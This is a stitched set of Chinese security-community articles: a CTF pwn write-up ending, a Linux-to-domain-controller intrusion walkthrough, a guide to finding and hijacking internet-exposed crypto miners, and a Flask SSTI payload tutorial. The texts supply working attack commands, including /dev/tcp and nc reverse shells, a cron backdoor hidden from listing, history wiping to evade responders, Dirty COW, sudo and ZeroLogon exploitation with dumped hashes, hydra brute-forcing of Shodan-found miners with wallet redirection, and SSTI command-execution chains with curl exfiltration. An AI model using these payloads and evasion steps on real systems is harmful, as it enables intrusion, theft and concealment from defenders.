-rw-r--r-- 1 root hungman 220 Sep 16 21:31 .bash_logout
-rw-r--r-- 1 root hungman 3771 Sep 16 21:31 .bashrc
-rw-r--r-- 1 root hungman 655 Sep 16 21:31 .profile
-rw-rw-r-- 1 root root 41 Sep 16 21:13 flag.txt
-rwxrwxr-x 1 root root 10464 Sep 16 21:13 hungman
cat flag.txt
flag{this_looks_like_its_a_well_hungman}
exit
*** Connection closed by remote host ***
root@eyh:~/ctf/csaw_16#
'''
# --------------------------------------------------------------------------------------------------
**总结**
分析和学习这个pwn时,发现
1\. 在逆向时不能太相信ida 的f5插件,当f5反编译出来的代码逻辑比较奇怪时,要去看汇编代码.
2\. 同时要多调试,很多看似复杂的东西,调试过去就能够很容易的理解.
3\. 这个漏洞的利用手法不错,通过覆盖got表形成了一种类似于 rop的调用链最终实现了漏洞利用. | 社区文章 |
## 一、前言
从linux打进去到域环境，到获取域控权限。因为前面基本都是在讲windows，这里补一篇linux的，全篇实操，喜欢的小伙伴们快来呀~
## 二、外网打点
1、打开站点，很正常的一个登录界面
2、尝试登录后发现典型的shiro特征。
3、使用工具直接打shiro反序列化即可。
下载地址：
<https://github.com/j1anFen/shiro_attack>
4、直接上冰蝎马，连接
## 三、权限维持
权限维持其实看了很多文章，都是有包括修改用户的，但是因为应急响应排查最先的就是用户登录情况，/etc/passwd，/etc/shadow文件修改情况，所以这里其实不太推荐这样做。
当然下面介绍的几种也是比较常用的，简单操作的，操作其实还是有些明显的，可以挑选一两个用就好，毕竟，操作越少被发现的可能就越低嘛；也可以选择做多几个权限维持，一个去掉了还有另一个嘛～
### (一)、隐藏历史记录
1、在命令前加空格，命令不会被记录
[空格]cat /etcpasswd
cat /etc/passwd
可以看到命令只记录了一条
2、设置命令不记录
[空格]set +o history
恢复
set -o history
3、删除history文件中指定行的命令，[num]为每行命令左边的标识。
history -d [num]
可以看到原本的1命令已被删除
4、粗暴点的，直接删除history文件内容
#向history文件写入空内容，覆盖原本内容
echo > ~/.bash_history
#清空当前history记录
history -c
### (二)、SSH公钥写入
ssh连接相当于拿到目标主机的一个shell。除了使用账号密码进行连接以外，还有一种方式便是通过将ssh密钥写入
**/root/.ssh/authorized_keys** 目录下，然后便可以免密码登录了。
熟悉redis未授权访问漏洞的利用手法的话，对这种方式一定不会陌生。这也是一种留下后门的方式。
生成ssh密钥，输入命令，按三次回车即可
ssh-keygen -t rsa
生成后在～/.ssh/文件夹中发现密钥已经成功生成了。其中id_rsa为私钥，id_rsa.pub为公钥
将id_rsa.pub文件内容输入到～/.ssh/authorized_keys文件中，如果没有这个文件，那就自己新建
尝试ssh连接成功
ssh [email protected]
### (三)、SSH软连接
原理：
在sshd服务配置启用PAM认证的前提下，PAM配置文件中控制标志为sufficient时，只要pam_rootok模块检测uid为0（root）即可成功登录。
也就是说当开启了pam认证后，只需要找到文件配置为auth sufficient pam_rootok.so的即可。
1、输入命令，生成软连接，端口为10022。
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=10022
2、ssh连接，密码任意输入，成功登录。
3、好用是好用，但是容易被发现，输入ps-aux就可以发现了。
### (四)、计划任务
1、新建一个cron.sh文件，这里我执行的命令是nc反弹shell，使用其他命令也是可以的。
2、设置计划任务，这里*/3表示每3分钟执行一次。
(crontab -l;printf "*/3 * * * * /bin/bash /tmp/cron.sh;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
3、成功隐藏计划任务
4、获取反弹shell
### (五)、通过环境变量植入后门
常见的环境变量路径如下：
/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.profile
~/.bashrc
~/bash_logout
/etc/bashrc
/etc/bash.bashrc
将反弹shell命令写入环境变量
echo 'bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1' >> /etc/profile
这样当系统重启了之后，便会将shell反弹到vps上了
## 四、主机信息收集
获取权限后，需要进行一定的信息收集
### (一)、查询账户信息
whoami
id
cat /etc/passwd
cat /etc/shadow
### (二)、查询网络和端口信息
ifconfig
netstat -anlp
arp -a
route -n
### (三)、查询进程列表
ps -ef
### (四)、查询系统和补丁信息
通过查询内核版本 uname -a 或者使用rpm -qa来查询安装了哪些软件包
### (五)、凭证收取
cat /root/.bash_history //历史输入命令
cat ~/.bash_history //历史输入命令
w //目前登录的用户
## 五、提权
为了安全性考虑，渗透测试的站点往往会对一些数据库或者站点进行降权处理，降低了管理站点或者数据库的权限，防止攻击者获取了权限之后直接可以造成更大的威胁。这也就是表示在渗透测试过程中，我们获取的网站权限为低权限，只能做有限的一些操作，如果要突破当前主机进行内网渗透的话，我们需要拿到相对高的权限例如管理员权限，这样才能在当前服务器的基础上实现内网渗透。
然后我们了解一下服务器的权限划分，在windows系统中，最高权限为system系统权限，最低的为guest权限。在linux系统中，最高权限为root权限。
### (一)、内核漏洞提权
#### 利用条件
系统对应内核存在某些漏洞，并且没有打上补丁，即有可能存在内核漏洞。
cat /etc/issue #查看发行版本
uname -r #查看内核版本
#### 实战演示
1、首先通过linux提权辅助工具linux-exploit-suggester来判断哪些漏洞可以用来溢出提权。
下载地址：<https://github.com/mzet-/linux-exploit-suggester>
2、这里选择脏牛——CVE-2016-5195来进行提权。首先下载对应的exp，使用命令gcc -pthread dirty.c -o dirty
-lcrypt命令对dirty.c进行编译，编译完成后会生成一个dirty文件。
3、执行dirty文件提权，在后面输入密码，获取一个firefart用户名，密码为我输入的密码的账户。
4、登录该用户，查看，已经成功获取root权限
### (二)、SUID提权
SUID代表设置的用户ID，是一种Linux功能，允许用户在指定用户的许可下执行文件。例如apt-get命令需要以root权限才能执行，我们可以设置apt-get对的SUID，那么低权限用户也可以以root权限执行apt-get操作。
SUID的常见标识就是使用‘s’替换了‘x’。
1、使用以下命令发现系统上运行的SUID可执行文件
find / -perm -u=s -type f 2>/dev/null
2、查看find命令，发现确实是使用了s来替换x。
3、借助find命令进行命令执行，成功以root权限执行了命令
### (三)、Sudo配置错误
sudo上存在这样一个漏洞，只要用户在使用sudo命令时指定UID为-1或4294967295，就可以以root身份执行命令。
1、以root权限执行id命令
sudo -u#-1 id
2、以root权限执行whoami命令
sudo -u#-1 whoami
## 六、横向移动
横向移动方法很多，详细的可以查看上一篇[内网渗透初探(二) |
内网渗透全过程重新学习](https://xz.aliyun.com/t/10543#toc-27)，这里介绍一种在2020年公开的，可以直接攻击域控的漏洞。
### (一)、CVE-2020-1472
NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口，被用于各种与用户和机器认证相关的任务。最常用于让用户使用 NTLM
协议登录服务器，也用于 NTP 响应认证以及更新计算机域密码。
微软MSRC于8月11日 发布了Netlogon 特权提升漏洞安全通告。此漏洞CVE编号CVE-2020-1472， CVSS 评分:10.0。由
Secura 公司的 Tom Tervoort 发现提交并命名为 ZeroLogon。
使用的工具：
1、exp
https://github.com/VoidSec/CVE-2020-1472
2、impacket工具包
https://github.com/SecureAuthCorp/impacket/
1、首先获取域内信息
net group "Domain Controllers" /domain
这里获取了域xxx.cool、域控主机名AD
2、使用exp将域控密码置空
python3 cve-2020-1472-exploit.py -n 域控主机名 -t 域控IP
python3 cve-2020-1472-exploit.py -n AD -t 192.168.30.128
这里已经成功将密码进行置空处理了
3、利用impacket工具包中的secretsdump.py脚本获取hash
python3 secretsdump.py xxx.cool/AD\[email protected] -no-pass
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3:::
AD$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
可以看到AD$的hash为 **31d6cfe0d16ae931b73c59d7e0c089c0**
即空密码
获取hash后便可以进行hash破解或PTH了，这里就不多做展示。
4、下一步我们需要还原密码。
首先通过获取到的hash，可以通过wmiexec.py进行pth攻击，拿到一个shell
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3 [email protected]
5、中间省略获取权限到远程桌面到步骤了，也可以CS上线啥的，主要为了方便下载system.save、sam.save、security.save文件即可。
6、通过secretsdump.py获取保存的hash（文件路径根据自己的来设置，我这里因为在桌面所以通过../../跳转了）
python3 secretsdump.py -sam ../../sam.save -system ../../system.save -security ../../security.save LOCAL
框出来的那一串，后面部门即为原本的hash
75f490ed04ba66f04e0e947a185679bd
7、通过工具还原密码
python3 reinstall_original_pw.py AD 192.168.30.128 75f490ed04ba66f04e0e947a185679bd
8、尝试了一下，no-pass利用失败了
## 七、扩大战果
前面已经获取到域控的NTLM hash，那么后面可以使用Crackmapexec批量获取主机权限（通过域控NTLM hash，以及指定IP段进行攻击）
kali下进行安装
apt-get install crackmapexec
输入如下命令即可
proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d xxx.cool -x whoami
IP ：指定要攻击的IP段
-u ：指定用户名
-H ：指定NTLM Hash
-d ：指定域
-x ：执行系统命令·
可以看到返回了域控的管理员
proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d xxx.cool -x ipconfig | 社区文章 |
# 【技术分享】看我如何利用OSINT技术黑掉加密数字货币矿机
|
##### 译文声明
本文是翻译文章，文章来源：medium.com
原文地址：<https://medium.com/@s3yfullah/hacking-cryptocurrency-miners-with-osint-techniques-677bbb3e0157>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：120RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
**警示：本文所述方法，请勿擅自使用，否则后果自负。**
本文介绍的公开资源情报（ **Open source intelligence，OSINT** ）技术是在实施攻击之前收集信息的最佳途径之一。
过去的许多黑客案例中，就曾用到过该技术。随着IoT设备的迅猛发展，我们将来能够在公共网络上收集到更多的关键数据。本文将为读者详细介绍
**如何收集加密数字货币矿机** （Bitcoin [Antminer]和Ethereum [Claymore]）方面的关键数据。
许多加密数字货币矿机工具和软件都需要连接互联网来发送/接收数据，所以它们就有可能受到攻击者的攻击。
**侦查Antminer！**
****
目前，最好的比特币ASIC矿机是Antminer
S9/S7。该矿机的硬件使用了“lighttpd/1.4.32”Web服务器，所以其中一些版本会打开SSH端口。并且，现在有一个针对“Lighttpd
1.4.31”版本的 exploit，但是，您无法使用该 exploit来攻击这个Web服务器。
该Web服务器为其网页提供了“Digest HTTP身份验证”保护。关键是，要想登录该矿机，必须具有相应的用户名和密码才行。
antMiner的配置页面中含有关键词“Digest Authentication”
因此，我们需要借助OSINT技术，通过一些信息或关键字来收集数据。这些信息可以是每次向这个服务器发送请求时，它就会出现在HTTP报头“antMiner
Conbguration”中的关键字。
我已经到censys.io和shodan.io上搜索了一些特定的dork并收集了相应的IP地址。
(antminer) AND protocols.raw: “80/http” AND 80.http.get.title: “401”
antMiner的配置页面用到了关键词“Digest Authentication”
我们可以通过HTTP端口或SSH端口进行暴力攻击来获取系统访问权限。
首先，我需要通过用户指南来了解默认的HTTP用户名和密码。所以，我使用“ antminer default
password”在Google上搜索，发现了一个含有该矿机的用户指南的网站。
AntMiner User Manuel，可以通过搜索轻松获取
在本文中，我们将使用hydra来进行暴力攻击（对HTTP Digest
Authentication进行蛮力攻击），因为该工具提供了最常用的10000种密码。当然，您也可以使用Burp Suite Intruder来完成该任务。
hydra -l root -P commonPasswords.txt -vV {TARGET} http-get /
如果你运气好的话，很快就可以访问该配置页面了。
antMiner 配置页面
攻击者可以随心所欲的编辑该页面。
**Claymore矿机软件**
****
实际上，还有一种类型的攻击可以针对Claymore矿机软件（如Altcoins、ethereum、zcash miner）发动攻击。
我已经在shodan.io上针对一些特定的dorks 进行了搜索。
**Dorks：“ETH—Total Speed:”**
您可以使用Claymore Remote Manager API发送一些JSON数据包来远程管理该矿机服务器。
在这里，我们可以通过发送一些命令来控制GPU（禁用、双模式等），或编辑conbg.txt来修改矿池钱包地址。
Claymore Remote Manager API.txt
我们可以通过“miner_restart”或“control_gpu”命令来检测它是只读的，还是可写/读的。为此，可以使用NC在MacOS上发送JSON命令。
首先，我们可以使用“miner_getstat1”命令。
这里给出了矿机服务器的统计信息
之后，我们尝试用“control_gpu”发送命令来检测它是只读的，还是可写/读的。
不过，我们收到了一个错误消息，具体错误代码如下所示。
矿机服务器使用了只读模式
当尝试其他IP地址时，我成功重启了系统。这表明Claymore Remote Manager API允许我们读/写auth。
重新启动矿机服务器
Claymore Remote
Manager还允许我们使用JSON（发送json）来编辑这个配置文件。不过，您可以在Windows上利用Claymore的Ethereum Dual
Miner Manager 来更轻松地编辑这个文件，从而修改矿池钱包地址。
如果您具有读/写权限的话，就可以编辑confg.txt。
您可以查看/编辑矿池的钱包地址
**小结**
****
我没有通过发送JSON命令对Claymore Miner Software尝试命令注入攻击。如果它存在这种漏洞的话，您无需具备读/写权限就可以访问该服务器。
您可以使用OSINT来改善搜索技术，从而收集大量数据。
您甚至可以通过编辑conbg.txt来控制风扇，从而让所有GPU“中暑”。 | 社区文章 |
# 前言
写过很多的SSTI的题，但是一直没有总结过，最近也算是忙，这次，是稍微写写关于SSTI的东西，以后复习了可以好看看，也不至于每次都拿别人的payload
# 了解flask框架
关于flask的SSTI注入，我们在了解他的注入原理之前，我们先看看flask框架是怎么使用的。
## flask基础
**route装饰器路由**
@app.route('/')
使用route（）装饰器告诉Flask 什么样的URL能触发函数。一个路由绑定一个函数。
例如
from flask import flask
app = Flask(__name__)
@app.route('/')
def test()"
return 123
@app.route('/index/')
def hello_word():
return 'hello word'
if __name__ == '__main__':
app.run(port=5000)
访问 <http://127.0.0.1:5000/会返回123，但是> 访问<http://127.0.0.1:5000/index则会返回hello>
word
在用`@app.route('/')`的时候，在之前需要定义`app = Flask(__name__)`不然会报错
还可设置动态网址
@app.route("/<username>")
def hello_user(username):
return "user:%s"%username
## 模板渲染方法
flask渲染方法有render_template和render_template_string两种，我们需要做的就是，将我们想渲染的值传入模板的变量里
**render_template()** 是用来渲染一个指定的文件的。
**render_template_string** 则是用来渲染一个字符串的。
这个时候我们就需要了解一下flask的目录结构了
├── app.py
├── static
│ └── style.css
└── templates
└── index.html
其中，static和templates都是需要自己新建的。其中templates目录里的index.html就是所谓的模板
我们写一个index.html
<html>
<head>
<title>{{title}}</title>
</head>
<body>
<h1>Hello, {{name}}!</h1>
</body>
</html>
这里面需要我们传入两个值，一个是title另一个是name。
我们在server.py里面进行渲染传值
from flask import Flask, request,render_template,render_template_string
app = Flask(__name__)
@app.route('/')
def index():
return render_template("index.html",title='Home',name='user')
if __name__ == '__main__':
app.run(port=5000)
在这里，我们手动传值的，所以是安全的
但是如果，我们传值的机会给用户
假如我们渲染的是一句话
from flask import Flask, request,render_template,render_template_string
@app.route('/test')
def test():
id = request.args.get('id')
html = '''
<h1>%s</h1>
'''%(id)
return render_template_string(html)
if __name__ == '__main__':
app.run(port=5000)
如果我们传入一个xss就会达到我们需要的效果
这就是传入的值被html直接运行回显，我们对代码进行微改。
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{{ code }}</h1>',code=code)
再次传入xss就不能实现了
因为在传入相应的值得时候，会对值进行转义，这样就很能好多而避免了xss这些
所以SSTI注入形成的原因就是：开发人员因为懒惰，没有将渲染模板写成一个文件，而是直接用render_template_string来渲染，当然，如果有传值过程还行，但是如果没有传值过程，传入数据不经过转义，那可能就会导致SSTI注入。
那么漏洞原理就是因为不够严谨的构造代码导致的。
# 魔法方法和内置属性
在写题前，先了解python的一些ssti的魔术方法。
`__class__`
> **用来查看变量所属的类，根据前面的变量形式可以得到其所属的类。** 是类的一个内置属性，表示类的类型，返回 **< type ‘type’> ；**
> 也是类的实例的属性，表示实例对象的类。
`__bases__`
> **用来查看类的基类** ， **也可以使用数组索引来查看特定位置的值。** 通过该属性可以查看该类的所有直接父类，该属性返回所有直接父类组成的
> **元组** 。注意是直接父类！！！
> 使用语法：类名.bases
`__mro__`也能获取基类
`__subclasses__()`
获取当前类的所有子类，即Object的子类
而我们注入就是通过拿到Object的子类，使用其中的一些函数，进行文件读取或者命令执行。
`__init__`
重载子类，获取子类初始化的属性。
`__globals__`
函数会以字典的形式返回当前位置的全部全局变量
就比如：`os._wrap_close.__init__.__globals__`，可以获取到os中的一些函数，进行文件读取。
## 文件读取
`''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
#将read() 修改为 write() 即为写文件`
`[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() #将read() 修改为
write() 即为写文件`
## 命令执行
`''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')`
// os.popen() 方法用于从一个命令打开一个管道。返回一个文件描述符号为fd的打开的文件对象。
**利用commands**
`{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('whoami')`
`{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')`
**os**
`.__init__.__globals__['popen']('type flag').read()`
当然，这些子类都不是那么容易找到的，这里贴一个脚本
上文的 **59** 就是子类WarningMessage的用它替换下面的_wrap_close即可
for i in range(300):
data = {"code": '{{"".__class__.__base__.__subclasses__()['+ str(i) +']}}'}
try:
response = requests.post(url,data=data)
#print(data)
#print(response.text)
if response.status_code == 200:
if "_wrap_close" in response.text:
print(i,"----->",response.text)
break
except :
pass
还有jinjia语法下的小脚本。
{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('ls /').read()")}}{% endif %}{% endfor %}
//查看flag
{% for c in [].class.base.subclasses() %}
{% if c.name=='catch_warnings' %}
{{ c.init.globals['builtins'].eval("import('os').popen('cat /flag').read()")}}
{% endif %}{% endfor %}
# 实战
关于Flask SSTI
的实战题，其实有很多，但是大多都比较碎，知识点都不怎么集中，虽然可以学习到一些知识，但是并非系统的学习。但是我在一次偶然，发现了sstilab的靶场，是比较系统的可以学习到关于如何绕过过滤的一些知识。并且，新手小白，一般拿到题，都会有些迷茫，这里则会提供多种不同的解决思路。
下面放入每一关过滤的东西，以后要是写题遇到类似的，可以直接对比关卡，拿payload
## level 1
法一
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()")}}{% endif %}{% endfor %}
法二
师傅直接手搓脚本
import requests
url = "http://127.0.0.1:5000/level/1"
for i in range(300):
data = {"code": '{{"".__class__.__base__.__subclasses__()['+ str(i) +']}}'}
try:
response = requests.post(url,data=data)
#print(data)
#print(response.text)
if response.status_code == 200:
if "_wrap_close" in response.text:
print(i,"----->",response.text)
break
except :
pass
找到我们使用的需要的子类，构造payload
`"".__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type
flag').read()`
## level 2
过滤了{{}}，可以使用{%%}代替,
但是`{%%}`，没有输出，所以需要我们print
`{%print("".__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type
flag').read())%}`
法二
`{% for c in [].__class__.__base__.__subclasses__() %}{% if
c.__name__=='catch_warnings' %}{%print(
c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('dir').read()"))%}{%
endif %}{% endfor %}`
脚本微改：
`data = {"code": '{%print("".__class__.__base__.__subclasses__()['+ str(i)
+'])%}'}`
## level 3
无过滤，但是有回显
语句正确回显correct，语句不正确回显wrong
import requests
url = "http://192.168.0.108:5001/level/3"
for i in range(300):
try:
data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://127.0.0.1:5001/`cat flag`").read()}}'}
response = requests.post(url,data=data)
except :
pass
windows环境反引号没有用，所以本地抓取不到信息
## level 4
过滤了中括号
> **getitem** ()
> 是python的一个魔法方法,当对列表使用时,传入整数返回列表对应索引的值;对字典使用时,传入字符串,返回字典相应键所对应的值.
`{{"".__class__.__base__.__subclasses__()[139].__init__.__globals__.__getitem__('popen')('type
flag').read()}}`
## level 5
过滤了了引号和双引号
`request.args`
> 在搭建flask时,大多数程序内部都会使用 flask的request来解析get请求.此出我们就可以通过构造带参数的url,配合
> request.args 获取构造参数的内容来绕过限制
POST：
`{{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}`
GET：
`a=popen&b=type flag`
## level 6
过滤了`_`
用过滤器绕过`| attr()`
关于过滤器;
> 1. 过滤器通过管道符号（|）与变量连接,并且在括号中可能有可选的参数
> 2. 可以链接到多个过滤器.一个滤波器的输出将应用于下一个过滤器.
>
经常使用的的过滤器：
length() # 获取一个序列或者字典的长度并将其返回
int()：# 将值转换为int类型；
float()：# 将值转换为float类型；
lower()：# 将字符串转换为小写；
upper()：# 将字符串转换为大写；
reverse()：# 反转字符串；
replace(value,old,new)： # 将value中的old替换为new
list()：# 将变量转换为列表类型；
string()：# 将变量转换成字符串类型；
join()：# 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用
attr(): # 获取对象的属性
`_`的十六进制编码为`\x5f`
所以`__class__`可以写成`\x5f\x5fclass\x5f\x5f`
因为我们需要用十六进制编码`_`,而编码过后的`_`不能和`.`直接相连，这个时候就需要过滤器和`_`连接了,所以`foo|attr("bar")=foo.bar`
十六进制编码和Unicode编码都可以，以及base64编码和rot13等编码去绕过。
payload:
().__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()
# 编码后
{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(139)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('popen')('type flag')|attr("read")()}}
# base64 未绕过成功
{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(139)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('popen')('dHlwZSBmbGFn'.decode('base64'))|attr("read")()}}
这里面展示一个unioncode编码 未绕过成功
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(139)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("dir")|attr("read")()}}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(139)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("dir")|attr("read")()}}
## level 7
过滤了`.`，可以使用`[]`绕过。
`python语法除了可以使用点 .来访问对象属性外,还可以使用中括号[].同样也可以使用**getitem**
``{{()['__class__']['__base__']['__subclasses__']()[139]['__init__']['__globals__']['popen']('cat
flag')['read']()}}`
## level 8
过滤了关键字
关键字过滤，最简单的办法就是字符串拼接，比如'`class'`可以写成`'cla''ss'`
**其他方法**
1编码
2在jinjia2语法中~可以进行连接，比如：{`%set a="__cla"%}{%set aa="ss__%}{{a~aa}}`
3使用join过滤器.例如使用`{%set
a=dict(__cla=a,ss__=a)|join%}{{a}}`会将`__cla和ss__`拼接在一起,或者`{%set
a=['__cla','ss__']|join%}{{a}}`
4使用`reverse`过滤器.如`{%set a="__ssalc__"|reverse%}{{a}}`
5使用`replace`过滤器.如`{%set a="__claee__"|replace("ee","ss")%}{{a}}`
6使用python中的`char()`
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
## level 9
过滤数字
`__subclasses__()[139]`,我们要塑造139这个数字
使用过滤器`|length`，来塑造。
`{%set a='aaaaaaaaaaaa'|length*'aaaaaaaaaaa'|length+'aaaaaaa'|length %}{{a}}`
// 12*11+7=139
`{% set a='aaaaaaaaaaaa'|length*'aaaaaaaaaaa'|length+'aaaaaaa'|length
%}{{"".__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('type
flag').read()}}`
## level 10
过滤了全局变量
没有了全局变量
{{config}}/{{self}}
均被ban掉,所以得重新寻找一个储存相关信息的变量
发现存在这么一个变量current_app是我们需要的，官网对`current_app`提供了这么一句说明
> `应用上下文会在必要时被创建和销毁。它不会在线程间移动，并且也不会在不同的请求之间共享。正因为如此，它是一个存储数据库连接信息或是别的东西的最佳位置。`
payload：
`{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}`
拿到{{config}}
## level 11
过滤了`'\'', '"', '+', 'request', '.', '[', ']'`
过滤的`[]`可以通过`__getitem__`绕过，`.`可以通过`attr`绕过，`'
"`可以通过request构造参数代替，但是request被ban了
所以关键就是如何构造`' "`
> 在Level 9 bypass keyword 的扩展中,使用过滤器dict()|join构造关键子的过程中没有出现' ",可以使用这种办法绕过.
`{%set a=dict(__cla=a,ss__=b)|join%}{{()|attr(a)}}`
但是，这里的弊端就是构造命令 `cat flag`的时候，空格无法识别，所以要如何绕过空格呢？
师傅的思路是这样的：
>
> 通过以下构造可以得到字符串,举个例,可以发现输出的字符串中存在空格、部分数字、<以及部分字母.利用过滤器list将其变为列表类型再配合使用索引,就能得到我们想要的.
>
{% set org = ({ }|select()|string()) %}{{org}}
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}
本地演示一下
当使用urlencode的时候还会出现`%`，当其被过滤的时候可以使用。
构造payload
原型payload：
().__class__.__base__.__subclasses__()[139].__init__.__globals__['popen']('type flag').read()
构造：
{%set a=dict(__cla=a,ss__=b)|join %}# __class__
{%set b=dict(__bas=a,e__=b)|join %}# __base__
{%set c=dict(__subcla=a,sses__=b)|join %}# __subclasses__
{%set d=dict(__ge=a,titem__=a)|join%}# __getitem__
{%set e=dict(__in=a,it__=b)|join %}# __init__
{%set f=dict(__glo=a,bals__=b)|join %}# __globals__
{%set g=dict(pop=a,en=b)|join %}# popen
{%set h=self|string|attr(d)(18)%}# 空格
{%set i=(dict(type=abc)|join,h,dict(flag=b)|join)|join%}# type flag
{%set j=dict(read=a)|join%}# read
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(139)|attr(e)|attr(f)|attr(d)(g)(i)|attr(j)()}}# 拼接
## level 12
和上一关的区别就是，没有过滤`request`，但是过滤了数字。可以通过`request.args`传参绕过。
>
> 不过`request|attr("args")|attr("a")`并不能获取到通过get传递过来的a参数,所以这里得跟换为`request.args.get()`来获取get参数
但是一个个构造太长了
所以从羽师傅那里找到一条简短的构造链
`{{x.__init__.__globals__['__builtins__']}}`
构造payload
get:
?z=__init__&zz=__globals__&zzz=__builtins__&zzzz=eval&zzzzz=__import__('os').popen('type flag').read()
post:
{%set a={}|select|string|list%}
{%set b=dict(pop=a)|join%}
{%set c=a|attr(b)(self|string|length)%}
{%set d=(c,c,dict(getitem=a)|join,c,c)|join%}
{%set e=dict(args=a)|join%}
{%set f=dict(get=a)|join%}
{%set g=dict(z=a)|join%}
{%set gg=dict(zz=a)|join%}
{%set ggg=dict(zzz=a)|join%}
{%set gggg=dict(zzzz=a)|join%}
{%set ggggg=dict(zzzzz=a)|join%}
{{x|attr(request|attr(e)|attr(f)(g))|attr(request|attr(e)|attr(f)(gg))|attr(d)(request|attr(e)|attr(f)(ggg))|attr(d)(request|attr(e)|attr(f)(gggg))(request|attr(e)|attr(f)(ggggg))}}
## level 13
比上面过滤的更多关键字，但是我们依然可以使用上一关的思路
payload
{%set a={}|select|string|list%}
{%set ax={}|select|string|list%}
{%set aa=dict(ssss=a)|join%}
{%set aaa=dict(ssssss=a)|join%}
{%set aaaa=dict(ss=a)|join%}
{%set aaaaa=dict(sssss=a)|join%}
{%set b=dict(pop=a)|join%} # pop
{%set c=a|attr(b)(aa|length*aaa|length)%} # _
{%set cc=a|attr(b)(aaaa|length*aaaaa|length)%} # 空格
{%set d=(c,c,dict(get=a,item=a)|join,c,c)|join%} # __getitem__
{%set dd=(c,c,dict(in=a,it=a)|join,c,c)|join%} # __init__
{%set ddd=(c,c,dict(glob=a,als=a)|join,c,c)|join%} # __globals__
{%set dddd=(c,c,dict(buil=a,tins=a)|join,c,c)|join%} # __builtins__
{%set e=(c,c,dict(impo=a,rt=a)|join,c,c)|join%} # __import__
{%set ee=(dict(o=a,s=a)|join)|join%} # os
{%set eee=(dict(po=a,pen=a)|join)|join%} # popen
{%set eeee=(dict(type=a)|join,cc,dict(flag=a)|join)|join%} # type flag
{%set f=(dict(rea=a,d=a)|join)|join%} # read
{{x|attr(dd)|attr(ddd)|attr(d)(dddd)|attr(d)(e)(ee)|attr(eee)(eeee)|attr(f)()}}
# 总结
